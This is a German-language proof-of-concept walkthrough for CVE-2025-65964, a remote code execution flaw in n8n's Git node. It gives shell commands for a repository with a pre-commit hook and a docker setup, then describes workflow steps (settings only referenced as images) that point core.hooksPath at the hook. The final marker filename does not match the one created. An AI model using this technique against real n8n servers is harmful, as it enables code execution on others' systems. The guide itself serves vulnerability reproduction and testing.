
CVE-2025-65964 Reproduktion
Zuerst ein Repository mit einer schädlichen Datei vorbereiten:
mkdir n8n-rce-poc && cd n8n-rce-poc
git init
git remote add origin <repository-url>
mkdir evil_hooks
echo '#!/bin/sh' > evil_hooks/pre-commit
echo 'touch /tmp/pwned_success' >> evil_hooks/pre-commit
chmod +x evil_hooks/pre-commit
git add evil_hooks/pre-commit
git update-index --chmod=+x evil_hooks/pre-commit
git commit -m "Add malicious hook"
git branch -M main
git push -u origin main
Dann lokal einen Docker-Container mit einer betroffenen n8n-Version starten. Der Exploit betrifft einen großen Bereich: 0.123.1 ≤ n8n < 1.119.2. Wir verwenden hier Version 1.64.3.
docker run -it --rm \
--name n8n \
-p 5678:5678 \
n8nio/n8n:1.64.3
Zunächst der vollständige Angriffsablauf für Version 1.64.3:
Parameterkonfiguration wie abgebildet:
Dieser Knoten und der nächste sind notwendig, da Git nur dann ein Commit erlaubt, wenn eine Datei geändert wurde. Wir müssen also zunächst eine beliebige Datei in das Repository schreiben.
Parameterkonfiguration wie abgebildet:

Datei in das Repository schreiben.
Parameterkonfiguration wie abgebildet:

Diese beiden Knoten sind nötig, da für einen Commit E-Mail und Benutzername benötigt werden. Einfach irgendwelche Werte eingeben.
Parameterkonfiguration wie abgebildet:


Kernschritt: core.hooksPath auf das heruntergeladene bösartige Verzeichnis setzen. Dadurch wird Git gezwungen, bei der Ausführung von Hooks im angegebenen Verzeichnis zu suchen (standardmäßig .git/hooks).
(Erinnert an das Hijacking von LD_PRELOAD und ähnliches.)
Parameterkonfiguration wie abgebildet:

Dieser Schritt löst die Schwachstelle aus und führt den manipulierten Hook aus.
Parameterkonfiguration wie abgebildet:

Nachdem alle Knoten konfiguriert sind, den Workflow ausführen.
Dann im Docker beobachten: Die schädliche Datei pwned_without_exec_node wurde erstellt.